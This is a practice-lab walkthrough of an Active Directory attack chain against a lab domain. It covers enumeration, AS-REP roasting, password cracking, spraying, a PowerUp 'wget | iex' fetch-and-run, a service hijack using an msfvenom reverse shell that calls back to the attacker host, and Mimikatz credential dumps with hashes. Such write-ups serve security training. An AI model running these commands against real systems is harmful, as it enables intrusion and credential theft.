// notes/ Practice Boxes
🏛️
AD Chain 02 — Blueprint AD-Chains
sudo ip addr flush dev eth1
#blueprint ad-chains#adchain#walkthrough#boxes#os:windows#os:linux#tech:active-directory#tech:password-attack
AD Chain 02 — Blueprint AD-Chains
🐺 howlsec@kalishell
$#Set static IP manually$sudo ip addr flush dev eth1$sudo ip addr add 10.0.2.10/24 dev eth1$sudo ip link set dev eth1 up$sudo ip route add 10.0.2.0/24 dev eth1🐺 howlsec@kalishell
$Credentials egreen : !!pLaYa!!90🐺 howlsec@kalishell
$#Found all IPs$nxc smb 10.0.2.0/24$SMB 10.0.2.7 445 CLIENT-1 [] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.4 445 DC01 [] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)$SMB 10.0.2.9 445 CLIENT-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False)Port Enumeration
🐺 howlsec@kalishell
$#Added all machines into ips file and scanned them with nmap$nmap -p- -Pn -iL ips -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt && sleep 5 && nmap -Pn -iL ips -sV -sC -v -oN nmap_sVsC.txt$ $CLIENT 1$Nmap scan report for 10.0.2.7$Host is up (0.00094s latency).$Not shown: 996 filtered tcp ports (no-response)$PORT STATE SERVICE VERSION$135/tcp open msrpc Microsoft Windows RPC$139/tcp open netbios-ssn Microsoft Windows netbios-ssn$445/tcp open microsoft-ds?$5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)$|_http-server-header: Microsoft-HTTPAPI/2.0$|_http-title: Not Found$MAC Address: 08:00:27:80:1D:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)$Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows$ $Host script results:$| smb2-time: $| date: 2026-02-13T02:23:27$|_ start_date: N/A$| nbstat: NetBIOS name: CLIENT-1, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:80:1d:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)$| Names:$| CLIENT-1<00> Flags: <unique><active>$| HACK-ACADEMY<00> Flags: <group><active>$|_ CLIENT-1<20> Flags: <unique><active>$| smb2-security-mode: $| 3:1:1: $|_ Message signing enabled but not required$ $CLIENT 2$Nmap scan report for 10.0.2.9$Host is up (0.00094s latency).$Not shown: 995 filtered tcp ports (no-response)$PORT STATE SERVICE VERSION$135/tcp open msrpc Microsoft Windows RPC$139/tcp open netbios-ssn Microsoft Windows netbios-ssn$445/tcp open microsoft-ds?$3389/tcp open ms-wbt-server Microsoft Terminal Services$|_ssl-date: 2026-02-13T02:24:08+00:00; +1s from scanner time.$| ssl-cert: Subject: commonName=Client-2.hack-academy.local$| Issuer: commonName=Client-2.hack-academy.local$| Public Key type: rsa$| Public Key bits: 2048$| Signature Algorithm: sha256WithRSAEncryption$| Not valid before: 2026-02-12T05:13:04$| Not valid after: 2026-08-14T05:13:04$| MD5: 9fb2:cd66:2731:1ef8:3c55:158f:5753:efa5$|_SHA-1: 86fa:46d7:dc42:8a48:22ea:c994:0904:bf94:0161:06cb$| rdp-ntlm-info: $| Target_Name: HACK-ACADEMY$| NetBIOS_Domain_Name: HACK-ACADEMY$| NetBIOS_Computer_Name: CLIENT-2$| DNS_Domain_Name: hack-academy.local$| DNS_Computer_Name: Client-2.hack-academy.local$| Product_Version: 10.0.19041$|_ System_Time: 2026-02-13T02:23:27+00:00$5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)$|_http-server-header: Microsoft-HTTPAPI/2.0$|_http-title: Not Found$MAC Address: 08:00:27:6C:31:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)$Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows$ $Host script results:$| smb2-security-mode: $| 3:1:1: $|_ Message signing enabled but not required$| smb2-time: $| date: 2026-02-13T02:23:28$|_ start_date: N/A$| nbstat: NetBIOS name: CLIENT-2, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:6c:31:cf (PCS Systemtechnik/Oracle VirtualBox virtual NIC)$| Names:$| CLIENT-2<00> Flags: <unique><active>$| HACK-ACADEMY<00> Flags: <group><active>$|_ CLIENT-2<20> Flags: <unique><active>$ $DOMAIN CONTROLLER$Nmap scan report for hack-academy.local (10.0.2.4)$Host is up (0.00085s latency).$Not shown: 988 filtered tcp ports (no-response)$PORT STATE SERVICE VERSION$53/tcp open domain Simple DNS Plus$88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-13 05:23:23Z)$135/tcp open msrpc Microsoft Windows RPC$139/tcp open netbios-ssn Microsoft Windows netbios-ssn$389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)$445/tcp open microsoft-ds?$464/tcp open kpasswd5?$593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0$636/tcp open tcpwrapped$3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)$3269/tcp open tcpwrapped$5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)$|_http-server-header: Microsoft-HTTPAPI/2.0$|_http-title: Not FoundClient 1 Enumeration
🐺 howlsec@kalishell
$nxc smb $target -u 'egreen' -p '!!pLaYa!!90' --shares$SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\egreen:!!pLaYa!!90 $SMB 10.0.2.7 445 CLIENT-1 [*] Enumerated shares$SMB 10.0.2.7 445 CLIENT-1 Share Permissions Remark$SMB 10.0.2.7 445 CLIENT-1 ----- ----------- ------$SMB 10.0.2.7 445 CLIENT-1 ADMIN$ Remote Admin$SMB 10.0.2.7 445 CLIENT-1 C$ Default share$SMB 10.0.2.7 445 CLIENT-1 IPC$ READ Remote IPC$ Zmiller is DOMAIN ADmin (screenshot omitted) Part Of Domain Users and Users (screenshot omitted) As-rep roasting possible on this user (screenshot omitted) Got All users with this command and checked description but nothing was found in there
🐺 howlsec@kalishell
$netexec ldap 10.0.2.4 -u egreen -p '!!pLaYa!!90' --users | fgrep -v '[' | fgrep -vi '-Username-' | awk '{print$ 5}' | tee users$Administrator$Guest$krbtgt$mjohnson$lbennett$egreen$spatel$dreyes$nflores$clee$otran$zmiller$mross$twest$eknightNow tried As-rep roasting with Impacket-GetNPUsers
🐺 howlsec@kalishell
$impacket-GetNPUsers hack-academy.local/ -dc-ip 10.0.2.4 -usersfile users -outputfile hashes.txt$Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies $ $[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)$[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)$[-] User mjohnson doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User lbennett doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User egreen doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User spatel doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User dreyes doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User nflores doesn't have UF_DONT_REQUIRE_PREAUTH set$$krb5asrep$23$clee@HACK-ACADEMY.LOCAL:948e3a316d97c7b5bc4b983e7447501c$7ebb33e0bff2e21b9c7227a8db9374bf5079ff23e955608c33c417eb89bab1d5c1037302d0827480485a1b99cc5397a1c4202ebf7d0f6f003e26805bf07440a801688450d6ab2b23deb67dbe6096276503d0d5e1587c9ff91de7a7bf8da17796cfb4667e468025262de37c438a0098985e0e80d2b5b5294425b349ec5b922d31e8eb2fccb25188eeffeb2c23ac6826f95b3daf1a5ae532550a3fc46cfdd068e9ed1bc5d301d0b50348f36153f61c6bf3d3d6401b2a498fd2216720a343d0c22dee89eacb61dab75ed03e0a9a8289dd66a65e26148ed3bd057a091343a942a37777932954d690bd2189095b03de7c64bd9ff311167378f93a$[-] User otran doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User zmiller doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User mross doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User twest doesn't have UF_DONT_REQUIRE_PREAUTH set$[-] User eknight doesn't have UF_DONT_REQUIRE_PREAUTH setThen Cracked password for user and got credentials clee : !!XzUfrog69
🐺 howlsec@kalishell
$john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt $Using default input encoding: UTF-8$Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])$Will run 8 OpenMP threads$Press 'q' or Ctrl-C to abort, almost any other key for status$!!XzUfrog69 ($krb5asrep$23$clee@HACK-ACADEMY.LOCAL) $1g 0:00:00:09 DONE (2026-02-12 21:51) 0.1059g/s 1519Kp/s 1519Kc/s 1519KC/s !)(OPPQR..!!12QWert$Use the "--show" option to display all of the cracked passwords reliably$Session completed. Now I tried spraying with the new credentials SMB, winrm, RDP. Found credentials working on Client 2 with RDP!
🐺 howlsec@kalishell
$nxc rdp ips -u 'users' -p 'passwords' --continue-on-success$RDP 10.0.2.9 3389 CLIENT-2 [+] hack-academy.local\egreen:!!pLaYa!!90 Again you have to check shares with new credentials
🐺 howlsec@kalishell
$nxc smb ips -u 'users' -p 'passwords' --shares $SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.9 445 CLIENT-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)$SMB 10.0.2.7 445 CLIENT-1 [-] hack-academy.local\Administrator:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [-] hack-academy.local\Guest:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [-] hack-academy.local\krbtgt:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [-] hack-academy.local\mjohnson:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [-] hack-academy.local\lbennett:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\egreen:!!pLaYa!!90 $SMB 10.0.2.4 445 DC01 [-] hack-academy.local\Administrator:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.4 445 DC01 [-] hack-academy.local\Guest:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.4 445 DC01 [-] hack-academy.local\krbtgt:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.7 445 CLIENT-1 [*] Enumerated shares$SMB 10.0.2.7 445 CLIENT-1 Share Permissions Remark$SMB 10.0.2.7 445 CLIENT-1 ----- ----------- ------$SMB 10.0.2.7 445 CLIENT-1 ADMIN$ Remote Admin$SMB 10.0.2.7 445 CLIENT-1 C$ Default share$SMB 10.0.2.7 445 CLIENT-1 IPC$ READ Remote IPC$SMB 10.0.2.4 445 DC01 [-] hack-academy.local\mjohnson:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.4 445 DC01 [-] hack-academy.local\lbennett:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.4 445 DC01 [+] hack-academy.local\egreen:!!pLaYa!!90 $SMB 10.0.2.4 445 DC01 [*] Enumerated shares$SMB 10.0.2.4 445 DC01 Share Permissions Remark$SMB 10.0.2.4 445 DC01 ----- ----------- ------$SMB 10.0.2.4 445 DC01 ADMIN$ Remote Admin$SMB 10.0.2.4 445 DC01 C$ Default share$SMB 10.0.2.4 445 DC01 IPC$ READ Remote IPC$SMB 10.0.2.4 445 DC01 NETLOGON READ Logon server share $SMB 10.0.2.4 445 DC01 SYSVOL READ Logon server share $SMB 10.0.2.9 445 CLIENT-2 [-] hack-academy.local\Administrator:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.9 445 CLIENT-2 [-] hack-academy.local\Guest:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.9 445 CLIENT-2 [-] hack-academy.local\krbtgt:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.9 445 CLIENT-2 [-] hack-academy.local\mjohnson:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.9 445 CLIENT-2 [-] hack-academy.local\lbennett:!!pLaYa!!90 STATUS_LOGON_FAILURE $SMB 10.0.2.9 445 CLIENT-2 [+] hack-academy.local\egreen:!!pLaYa!!90 $SMB 10.0.2.9 445 CLIENT-2 [*] Enumerated shares$SMB 10.0.2.9 445 CLIENT-2 Share Permissions Remark$SMB 10.0.2.9 445 CLIENT-2 ----- ----------- ------$SMB 10.0.2.9 445 CLIENT-2 ADMIN$ Remote Admin$SMB 10.0.2.9 445 CLIENT-2 C$ Default share$SMB 10.0.2.9 445 CLIENT-2 IPC$ READ Remote IPC$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 Also you now want to check users again and check descriptions. Nothing found in descriptions
🐺 howlsec@kalishell
$netexec ldap 10.0.2.4 -u clee -p '!!XzUfrog69' --users$LDAP 10.0.2.4 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack-academy.local)$LDAP 10.0.2.4 389 DC01 [+] hack-academy.local\clee:!!XzUfrog69 $LDAP 10.0.2.4 389 DC01 [*] Enumerated 15 domain users: hack-academy.local$LDAP 10.0.2.4 389 DC01 -Username- -Last PW Set- -BadPW- -Description- $LDAP 10.0.2.4 389 DC01 Administrator 2025-11-22 12:29:20 25 Built-in account for administering the computer/domain$LDAP 10.0.2.4 389 DC01 Guest <never> 26 Built-in account for guest access to the computer/domain$LDAP 10.0.2.4 389 DC01 krbtgt 2025-08-24 13:08:23 25 Key Distribution Center Service Account $LDAP 10.0.2.4 389 DC01 mjohnson 2025-11-17 23:19:09 25 $LDAP 10.0.2.4 389 DC01 lbennett 2025-11-17 23:19:09 25 $LDAP 10.0.2.4 389 DC01 egreen 2025-11-17 23:19:09 0 $LDAP 10.0.2.4 389 DC01 spatel 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 dreyes 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 nflores 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 clee 2025-11-17 23:19:09 0 $LDAP 10.0.2.4 389 DC01 otran 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 zmiller 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 mross 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 twest 2025-11-17 23:19:09 21 $LDAP 10.0.2.4 389 DC01 eknight 2025-11-17 23:19:09 21Accessed with RDP on Client 2
🐺 howlsec@kalishell
$xfreerdp3 /v:10.0.2.9 /u:'clee' /p:'!!XzUfrog69' /cert:ignore /dynamic-resolution /drive:linux,/opt/ +clipboarChecked for permissions but didnt find anything interesting (screenshot omitted) Time to transfer PowerUp and try privesc
🐺 howlsec@kalishell
$wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1$#Since I dont have internet on the box I hosted it on my kali and transfered$powershell.exe -c "wget -useb 10.0.2.10/PowerUp.ps1 | iex; Invoke-AllChecks"PowerUp.ps1 found a lot of services. Now its time to enumerate them by checking whether you can restart them (screenshot omitted)
🐺 howlsec@kalishell
$sc.exe qc wampmysqld64We dont have access to start it but since its DEMAND_START (screenshot omitted)
🐺 howlsec@kalishell
$sc.exe qc "Wondershare InstallAssist"This one has auto_start and is more interesting (screenshot omitted) We can also move it
🐺 howlsec@kalishell
$mv C:\ProgramData\Wondershare\Service\InstallAssistService.exe 'C:\ProgramData\Wondershare\Service\InstallAssistService.exe.bak'Now we can replace that binary with malicious one we create
🐺 howlsec@kalishell
$msfvenom -p windows/x64/shell_reverse_tcp -a x64 --platform windows LHOST=10.0.2.10 LPORT=443 -f exe > shell.exe$#Now we can transfer it$powershell.exe -c "wget -useb 10.0.2.10:8000/shell.exe -o shell.exe"$#Now copied that binary instead of C:\ProgramData\Wondershare\Service\InstallAssistService.exe$mv shell.exe C:\ProgramData\Wondershare\Service\InstallAssistService.exe$#Then restarted the server and got NT\Authority!$restart-computer(screenshot omitted) Now Run Mimikatz.
🐺 howlsec@kalishell
$#First download it onto Kali$wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Gather/Invoke-Mimikatz.ps1$#Now transfer it onto the target machine$powershell.exe -c "wget -useb 10.0.2.10:8000/Invoke-Mimikatz.ps1 | iex; Invoke-Mimikatz"Mimikatz Output
🐺 howlsec@kalishell
$C:\Users>powershell.exe -c "wget -useb 10.0.2.10:8000/Invoke-Mimikatz.ps1 | iex; Invoke-Mimikatz"$powershell.exe -c "wget -useb 10.0.2.10:8000/Invoke-Mimikatz.ps1 | iex; Invoke-Mimikatz"$ $ .#####. mimikatz 2.2.0 (x64) #19041 Jul 24 2021 11:00:11$ .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)$ ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )$ ## \ / ## > https://blog.gentilkiwi.com/mimikatz$ '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )$ '#####' > https://pingcastle.com / https://mysmartlogon.com ***/$ $mimikatz(powershell) # sekurlsa::logonpasswords$ $Authentication Id : 0 ; 997 (00000000:000003e5)$Session : Service from 0$User Name : LOCAL SERVICE$Domain : NT AUTHORITY$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-19$ msv :$ tspkg :$ wdigest :$ * Username : (null)$ * Domain : (null)$ * Password : (null)$ kerberos :$ * Username : (null)$ * Domain : (null)$ * Password : (null)$ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 49003 (00000000:0000bf6b)$Session : Interactive from 1$User Name : DWM-1$Domain : Window Manager$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-90-0-1$ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : 635869db188037e3e86cfac496e36049$ * SHA1 : e7aa5b8e0d968de1ba8a5920c9c545ea85756664$ * DPAPI : e7aa5b8e0d968de1ba8a5920c9c545ea$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : CLIENT-2$$ * Domain : hack-academy.local$ * Password : 22 5c be a6 6c 0c 0c a6 f2 6e ba 00 46 2b 2b 0b 12 61 68 82 a1 71 4a f5 a1 fd 4d 17 24 ff a9 89 44 60 fd 1d 14 fb 68 0f 35 ca 88 b4 f2 2e c2 da b2 96 c0 2d 74 e8 4d 9d 12 13 41 c8 40 de ec 00 d9 4e 03 c5 b7 8e 5b b6 f9 f3 3c 2b e1 a6 f8 82 90 e0 76 9e be e9 03 b3 9f e3 1e f1 27 90 23 58 ac 98 ac a2 c8 f0 44 d0 7c 3d 55 46 df 7d 7b ce 3a fb 21 31 f8 4e 6c 70 66 8f d7 f8 30 bc b9 34 1c 2a f5 c3 9d 20 23 ae 3a 2b 59 89 53 d4 26 df 9e 83 d8 47 7f a9 6f fe 88 db 4c f8 65 26 c8 9e 31 ed ef 6d 86 63 62 7f 89 8a 9e 1d f5 7e ab 7d e9 fb 3e 5c ba e4 a0 be ac 4b 03 03 7a 31 8c 2b 53 0d d6 84 5a 65 53 a9 80 8b b4 1d cc 20 05 3d 4a 79 35 33 e6 ef 7e bf 32 d3 a3 90 e6 20 9b d0 cd 97 6b eb b4 3f 61 f6 01 3d 11 5c ab df e2 60 $ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 48985 (00000000:0000bf59)$Session : Interactive from 1$User Name : DWM-1$Domain : Window Manager$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-90-0-1$ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : f2d60bae3f206e78e445f7e6b106860c$ * SHA1 : b5bb122b6552b09c9122d0f767a98fb9bd1eee7d$ * DPAPI : b5bb122b6552b09c9122d0f767a98fb9$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : CLIENT-2$$ * Domain : hack-academy.local$ * Password : 13 d6 00 ec aa 06 0b 0e 55 8d 83 af c6 78 ab e9 db b7 a8 5c 1d 0f cb 7e 1a 4a 34 54 5e 44 27 66 b4 22 45 41 94 ed 27 e9 c7 6e 9c e6 9d 89 f7 5a fb 95 90 d0 72 0e ab 67 4e d0 4d c1 45 2b ef 38 23 53 60 8d 52 13 dc 3b 5d 93 cb 6c 1f b0 5e 41 0b a7 43 ba db 6b 7f 0b bd 3a c6 50 74 a5 c7 a6 73 90 2f 33 82 7c af 02 51 c8 a9 f5 7a f0 33 ad 9a e9 33 ba cc f8 83 74 89 52 00 32 f4 1b eb 23 b5 48 ee d8 3c e3 30 83 85 a4 56 1a 49 ee f3 2d 53 17 99 4d ca 96 2d c8 db 25 5a 32 49 cc ef 43 b3 bc 27 e3 64 08 7e b9 ac 48 22 55 7d bd 82 13 f9 67 e0 21 b5 c9 41 30 e4 53 52 a8 a8 f0 49 22 46 ec f1 df 5d 68 16 13 d4 66 39 8e b2 e0 ad 4c fd 51 52 bf 78 64 35 e5 c9 84 80 e4 a5 0e d7 6b f3 08 65 4d e8 de a0 7f 81 55 2c 79 d5 d3 5d a5 $ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 996 (00000000:000003e4)$Session : Service from 0$User Name : CLIENT-2$$Domain : HACK-ACADEMY$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-20$ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : f2d60bae3f206e78e445f7e6b106860c$ * SHA1 : b5bb122b6552b09c9122d0f767a98fb9bd1eee7d$ * DPAPI : b5bb122b6552b09c9122d0f767a98fb9$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : client-2$$ * Domain : HACK-ACADEMY.LOCAL$ * Password : 13 d6 00 ec aa 06 0b 0e 55 8d 83 af c6 78 ab e9 db b7 a8 5c 1d 0f cb 7e 1a 4a 34 54 5e 44 27 66 b4 22 45 41 94 ed 27 e9 c7 6e 9c e6 9d 89 f7 5a fb 95 90 d0 72 0e ab 67 4e d0 4d c1 45 2b ef 38 23 53 60 8d 52 13 dc 3b 5d 93 cb 6c 1f b0 5e 41 0b a7 43 ba db 6b 7f 0b bd 3a c6 50 74 a5 c7 a6 73 90 2f 33 82 7c af 02 51 c8 a9 f5 7a f0 33 ad 9a e9 33 ba cc f8 83 74 89 52 00 32 f4 1b eb 23 b5 48 ee d8 3c e3 30 83 85 a4 56 1a 49 ee f3 2d 53 17 99 4d ca 96 2d c8 db 25 5a 32 49 cc ef 43 b3 bc 27 e3 64 08 7e b9 ac 48 22 55 7d bd 82 13 f9 67 e0 21 b5 c9 41 30 e4 53 52 a8 a8 f0 49 22 46 ec f1 df 5d 68 16 13 d4 66 39 8e b2 e0 ad 4c fd 51 52 bf 78 64 35 e5 c9 84 80 e4 a5 0e d7 6b f3 08 65 4d e8 de a0 7f 81 55 2c 79 d5 d3 5d a5 $ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 28823 (00000000:00007097)$Session : Interactive from 0$User Name : UMFD-0$Domain : Font Driver Host$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-96-0-0$ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : f2d60bae3f206e78e445f7e6b106860c$ * SHA1 : b5bb122b6552b09c9122d0f767a98fb9bd1eee7d$ * DPAPI : b5bb122b6552b09c9122d0f767a98fb9$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : CLIENT-2$$ * Domain : hack-academy.local$ * Password : 13 d6 00 ec aa 06 0b 0e 55 8d 83 af c6 78 ab e9 db b7 a8 5c 1d 0f cb 7e 1a 4a 34 54 5e 44 27 66 b4 22 45 41 94 ed 27 e9 c7 6e 9c e6 9d 89 f7 5a fb 95 90 d0 72 0e ab 67 4e d0 4d c1 45 2b ef 38 23 53 60 8d 52 13 dc 3b 5d 93 cb 6c 1f b0 5e 41 0b a7 43 ba db 6b 7f 0b bd 3a c6 50 74 a5 c7 a6 73 90 2f 33 82 7c af 02 51 c8 a9 f5 7a f0 33 ad 9a e9 33 ba cc f8 83 74 89 52 00 32 f4 1b eb 23 b5 48 ee d8 3c e3 30 83 85 a4 56 1a 49 ee f3 2d 53 17 99 4d ca 96 2d c8 db 25 5a 32 49 cc ef 43 b3 bc 27 e3 64 08 7e b9 ac 48 22 55 7d bd 82 13 f9 67 e0 21 b5 c9 41 30 e4 53 52 a8 a8 f0 49 22 46 ec f1 df 5d 68 16 13 d4 66 39 8e b2 e0 ad 4c fd 51 52 bf 78 64 35 e5 c9 84 80 e4 a5 0e d7 6b f3 08 65 4d e8 de a0 7f 81 55 2c 79 d5 d3 5d a5 $ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 28659 (00000000:00006ff3)$Session : Interactive from 1$User Name : UMFD-1$Domain : Font Driver Host$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-96-0-1$ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : f2d60bae3f206e78e445f7e6b106860c$ * SHA1 : b5bb122b6552b09c9122d0f767a98fb9bd1eee7d$ * DPAPI : b5bb122b6552b09c9122d0f767a98fb9$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : CLIENT-2$$ * Domain : hack-academy.local$ * Password : 13 d6 00 ec aa 06 0b 0e 55 8d 83 af c6 78 ab e9 db b7 a8 5c 1d 0f cb 7e 1a 4a 34 54 5e 44 27 66 b4 22 45 41 94 ed 27 e9 c7 6e 9c e6 9d 89 f7 5a fb 95 90 d0 72 0e ab 67 4e d0 4d c1 45 2b ef 38 23 53 60 8d 52 13 dc 3b 5d 93 cb 6c 1f b0 5e 41 0b a7 43 ba db 6b 7f 0b bd 3a c6 50 74 a5 c7 a6 73 90 2f 33 82 7c af 02 51 c8 a9 f5 7a f0 33 ad 9a e9 33 ba cc f8 83 74 89 52 00 32 f4 1b eb 23 b5 48 ee d8 3c e3 30 83 85 a4 56 1a 49 ee f3 2d 53 17 99 4d ca 96 2d c8 db 25 5a 32 49 cc ef 43 b3 bc 27 e3 64 08 7e b9 ac 48 22 55 7d bd 82 13 f9 67 e0 21 b5 c9 41 30 e4 53 52 a8 a8 f0 49 22 46 ec f1 df 5d 68 16 13 d4 66 39 8e b2 e0 ad 4c fd 51 52 bf 78 64 35 e5 c9 84 80 e4 a5 0e d7 6b f3 08 65 4d e8 de a0 7f 81 55 2c 79 d5 d3 5d a5 $ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 27489 (00000000:00006b61)$Session : UndefinedLogonType from 0$User Name : (null)$Domain : (null)$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : $ msv :$ [00000003] Primary$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * NTLM : f2d60bae3f206e78e445f7e6b106860c$ * SHA1 : b5bb122b6552b09c9122d0f767a98fb9bd1eee7d$ * DPAPI : b5bb122b6552b09c9122d0f767a98fb9$ tspkg :$ wdigest :$ kerberos :$ ssp :$ credman :$ cloudap : KO$ $Authentication Id : 0 ; 999 (00000000:000003e7)$Session : UndefinedLogonType from 0$User Name : CLIENT-2$$Domain : HACK-ACADEMY$Logon Server : (null)$Logon Time : 2/12/2026 8:06:49 PM$SID : S-1-5-18$ msv :$ tspkg :$ wdigest :$ * Username : CLIENT-2$$ * Domain : HACK-ACADEMY$ * Password : (null)$ kerberos :$ * Username : client-2$$ * Domain : HACK-ACADEMY.LOCAL$ * Password : (null)$ ssp :$ credman :$ cloudap : KO$ $mimikatz(powershell) # exit$Bye!$ You can try with Mimikatz.exe since mimikatz.ps1 didnt give enough output.
🐺 howlsec@kalishell
$.\mimikatz.exe$privilege::debug$#Now you can try dymping hashes$privilege::debug$token::elevate$log mimi.log$lsadump::sam$lsadump::secrets$lsadump::cache$sekurlsa::logonpasswords /fullSince I wasnt getting good hashes I decided to add clee into Administrators group and dump hashes remotely!
🐺 howlsec@kalishell
